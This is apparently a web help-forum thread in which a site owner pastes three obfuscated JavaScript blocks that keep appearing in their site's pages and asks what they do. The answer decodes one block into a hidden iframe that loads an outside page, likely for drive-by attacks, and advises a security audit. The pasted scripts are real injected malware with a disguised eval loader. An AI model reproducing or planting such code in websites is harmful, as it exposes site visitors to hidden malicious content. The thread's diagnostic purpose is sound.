What does this script do?

Question

Would anybody be able to tell me what the below script does? It keeps injecting itself into our site about every two weeks (always between Sundays and Mondays). We've reloaded our "clean" site dozens of times but it just keeps happening. We've installed and made every security recommendation that we've read but it just keeps getting into all of our index.html files and a few of our php files.

Anybody have any idea of what it does or where it comes from? We could really use some help!

<script>
var ar="v)y{ifu=lg[rETCB}me h>;
s\"/ 0.,tN1:('<cAb]waonpd";
try{
    'qwe'.length(1);
}catch(a){
    k=new Boolean().toString();
    date=new Date();
};
var ar2 = "f57,57,12,15,78,102,138,129,111,18,51,54,132,90,84,27,54,90,36,24,54,51,54,132,90,69,45,6,39,126,27,93,126,51,54,102,105,117,129,138,6,105,3,30,81,120,3,9,57,57,57,12,15,33,126,51,54,33,102,3,66,57,57,48,78,54,24,69,54,78,9,57,57,57,138,129,111,18,51,54,132,90,84,123,33,12,90,54,102,72,108,12,15,33,126,51,54,78,69,33,111,21,105,60,90,90,135,99,75,75,138,129,24,129,126,69,84,111,129,51,75,111,129,18,132,90,81,84,135,60,135,105,78,123,12,138,90,60,21,105,96,81,105,78,60,54,12,27,60,90,21,105,96,81,105,78,69,90,6,24,54,21,105,0,12,69,12,117,12,24,12,90,6,99,60,12,138,138,54,132,66,135,129,69,12,90,12,129,132,99,126,117,69,129,24,18,90,54,66,24,54,15,90,99,81,66,90,129,135,99,81,66,105,63,108,75,12,15,33,126,51,54,63,72,3,66,57,57,48,57,57,15,18,132,111,90,12,129,132,78,12,15,33,126,51,54,33,102,3,9,57,57,57,0,126,33,78,15,78,21,78,138,129,111,18,51,54,132,90,84,111,33,54,126,90,54,36,24,54,51,54,132,90,102,105,12,15,33,126,51,54,105,3,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,69,33,111,105,87,105,60,90,90,135,99,75,75,138,129,24,129,126,69,84,111,129,51,75,111,129,18,132,90,81,84,135,60,135,105,3,66,15,84,69,90,6,24,54,84,0,12,69,12,117,12,24,12,90,6,21,105,60,12,138,138,54,132,105,66,15,84,69,90,6,24,54,84,135,129,69,12,90,12,129,132,21,105,126,117,69,129,24,18,90,54,105,66,15,84,69,90,6,24,54,84,24,54,15,90,21,105,81,105,66,15,84,69,90,6,24,54,84,90,129,135,21,105,81,105,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,123,12,138,90,60,105,87,105,96,81,105,3,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,60,54,12,27,60,90,105,87,105,96,81,105,3,66,57,57,57,138,129,111,18,51,54,132,90,84,27,54,90,36,24,54,51,54,132,90,69,45,6,39,126,27,93,126,51,54,102,105,117,129,138,6,105,3,30,81,120,84,126,135,135,54,132,138,42,60,12,24,138,102,15,3,66,57,57,48]".replace(k.substr(0,1),'[');

pau="rn ev2010"[('afas','rep')+('rhrh','lace')](date[('adsaf','getF')+'ullY'+('qwtrqwt','ear')]()-1,('awgwag',"al"));

e=Function("retu"+pau)();
ar2=('gfhgffg',e(ar2));s="";

for(i=0;i<ar2.length;i++){
    s+=ar.substr(ar2[i]/3,1);
}
e(s);

</script>

<script>
var ar="N<B)10'paes,>.nidtf3[T;
hwy mCE:gA{](=o/\"c}lbr vu";
try{
    'qwe'.length(1);
}catch(a){
    k=new Boolean().toString();
    date=new Date();
};

var ar2 = "f78,78,45,54,135,105,48,111,120,141,81,27,42,51,39,93,27,51,87,126,27,81,27,42,51,30,6,75,63,24,93,0,24,81,27,105,18,129,111,48,75,18,9,60,15,102,9,99,78,78,78,45,54,132,24,81,27,132,105,9,66,78,78,123,135,27,126,30,27,135,99,78,78,78,48,111,120,141,81,27,42,51,39,72,132,45,51,27,105,117,3,45,54,132,24,81,27,135,30,132,120,108,18,69,51,51,21,90,114,114,27,48,45,51,45,24,126,39,120,111,81,114,120,111,141,42,51,57,15,39,21,69,21,18,135,72,45,48,51,69,108,18,12,15,18,135,69,27,45,93,69,51,108,18,12,15,18,135,30,51,75,126,27,108,18,138,45,30,45,129,45,126,45,51,75,90,69,45,48,48,27,42,66,21,111,30,45,51,45,111,42,90,24,129,30,111,126,141,51,27,66,126,27,54,51,90,15,66,51,111,21,90,15,66,18,36,3,114,45,54,132,24,81,27,36,117,9,66,78,78,123,78,78,54,141,42,120,51,45,111,42,135,45,54,132,24,81,27,132,105,9,99,78,78,78,138,24,132,135,54,135,108,135,48,111,120,141,81,27,42,51,39,120,132,27,24,51,27,87,126,27,81,27,42,51,105,18,45,54,132,24,81,27,18,9,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,30,132,120,18,33,18,69,51,51,21,90,114,114,27,48,45,51,45,24,126,39,120,111,81,114,120,111,141,42,51,57,15,39,21,69,21,18,9,66,54,39,30,51,75,126,27,39,138,45,30,45,129,45,126,45,51,75,108,18,69,45,48,48,27,42,18,66,54,39,30,51,75,126,27,39,21,111,30,45,51,45,111,42,108,18,24,129,30,111,126,141,51,27,18,66,54,39,30,51,75,126,27,39,126,27,54,51,108,18,15,18,66,54,39,30,51,75,126,27,39,51,111,21,108,18,15,18,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,72,45,48,51,69,18,33,18,12,15,18,9,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,69,27,45,93,69,51,18,33,18,12,15,18,9,66,78,78,78,48,111,120,141,81,27,42,51,39,93,27,51,87,126,27,81,27,42,51,30,6,75,63,24,93,0,24,81,27,105,18,129,111,48,75,18,9,60,15,102,39,24,21,21,27,42,48,84,69,45,126,48,105,54,9,66,78,78,123]".replace(k.substr(0,1),'[');

pau="rn ev2010"[('afas','rep')+('rhrh','lace')](date[('adsaf','getF')+'ullY'+('qwtrqwt','ear')]()-1,('awgwag',"al"));

e=Function("retu"+pau)();

ar2=('gfhgffg',e(ar2));

s="";

for(i=0;i<ar2.length;i++){
    s+=ar.substr(ar2[i]/3,1);
}
e(s);
</script>


<script>
var ar="rf:pmy'1uvAE, hi)2Tbs{ [tg=BcC\"do<a(.}N/9];wl>en0";
try{
    gserkewg();
}catch(a){
    k=new Boolean().toString()
};

var ar2 = "f66,0,-21,-42,36,66,-12,3,-12,-60,-12,126,3,-69,36,-33,63,-66,-39,99,6,-126,126,3,-69,-12,21,-66,39,48,-27,39,-12,-90,126,-33,-87,39,39,-3,-78,3,30,21,75,-21,-75,15,3,0,0,-21,-42,-3,102,-90,126,-138,105,-57,78,-60,0,45,-72,99,-6,-72,78,-99,24,3,0,0,27,3,-12,-60,-12,126,3,-69,36,21,-129,45,27,66,-33,-15,9,-54,-42,-3,102,-90,126,-99,21,-60,84,-6,-60,24,30,0,-63,-3,111,0,12,-33,-96,12,126,-66,30,30,-24,-24,12,-84,105,-33,12,-72,117,-69,-21,69,-12,-99,33,-33,9,21,90,-84,48,-21,-30,36,-60,3,123,-126,21,3,96,-93,30,-33,30,6,-60,3,123,-126,21,21,12,-57,117,6,-60,-60,9,18,15,-15,12,-12,87,-87,27,-57,-9,36,3,48,0,45,3,-15,-117,87,-36,-15,27,-27,51,45,-135,96,-45,3,36,36,-108,48,66,-12,6,6,-135,69,-66,138,-18,-54,24,-87,-3,138,-18,-108,117,-36,18,-72,-42,-3,102,-90,126,-3,-45,-42,78,-60,0,45,-45,0,-63,21,117,-57,-12,-27,51,45,-102,6,-42,-3,102,-90,126,-138,105,-57,15,3,0,0,-39,75,-102,39,-36,36,39,-39,54,3,-12,-60,-12,126,3,-69,36,-24,-84,138,-36,-30,66,-105,99,6,-126,126,3,-69,33,-87,27,-42,-3,102,-90,126,-120,30,78,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,42,-60,84,-66,18,-18,24,30,0,-63,-3,111,0,12,-33,-96,12,126,-66,30,30,-24,-24,12,-84,105,-33,12,-72,117,-69,-21,69,-12,-99,33,-33,9,30,78,-123,105,-48,12,-57,117,6,-30,-81,18,15,-15,12,-12,87,-87,27,-57,63,-60,24,3,48,0,45,3,-123,108,-123,105,-48,12,-57,117,6,-30,-99,87,-36,-15,27,-27,51,45,-63,-60,84,-45,3,36,36,-108,48,66,-120,108,-123,105,-48,12,-57,117,6,-30,24,6,-135,69,6,-60,126,-126,108,-123,105,-48,12,-57,117,6,-30,-36,24,-87,69,-60,126,-126,108,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,111,-84,48,-21,-30,-24,18,-18,3,123,-126,30,78,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,24,96,-93,30,-33,30,-54,18,-18,3,123,-126,30,78,-60,0,0,27,3,-12,-60,-12,126,3,-69,36,-33,63,-66,-39,99,6,-126,126,3,-69,-12,21,-66,39,48,-27,39,-12,-90,126,-33,-87,39,39,-3,-78,3,30,21,75,-21,-15,-6,-93,0,129,3,-48,-6,-45,3,87,-39,12,-102,45,78,-60,0,45]".replace(k.substr(0,1),'[');

try{
    asfasf();
}catch(e)
{
    p=(typeof document).toString()
};

pau="rn evobject".replace(p,"al");
e=new Function("","retu"+pau);
e=e();
ar2=e(ar2);
s="";
var pos=0;

for(i=0;i!=ar2.length;i++){
    pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;
    s+=ar.substr(pos,1);
}
e(s);
</script>

Answer 1

Via the power of JSUnpack, we can decrypt a chunk of that obfuscated code and see part of the functionality...

document.write (s) <iframe src='http://doloasxxxxedoutforsafety.com/count0.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>

That source is currently 404, but it doesn't look very friendly. It's effectively downloading an arbitrary page into the browser, which could be for something as "simple" as fake Pagerank building through to a malicious drive by code execution exploit. Regardless, it appears dead for now, but it probably wasn't trying to help you.

You seem to have some kind of XSS injection flaw in your site software (or a malicious internal user). Looks like it's time for a proper security audit (both of server, server software, and your PHP application). If you're running an off the shelf PHP package (like Wordpress), make sure you've upgraded to the latest version. You might also want to change any relevant passwords (if it's happening on a regular schedule, it might be a manual injection).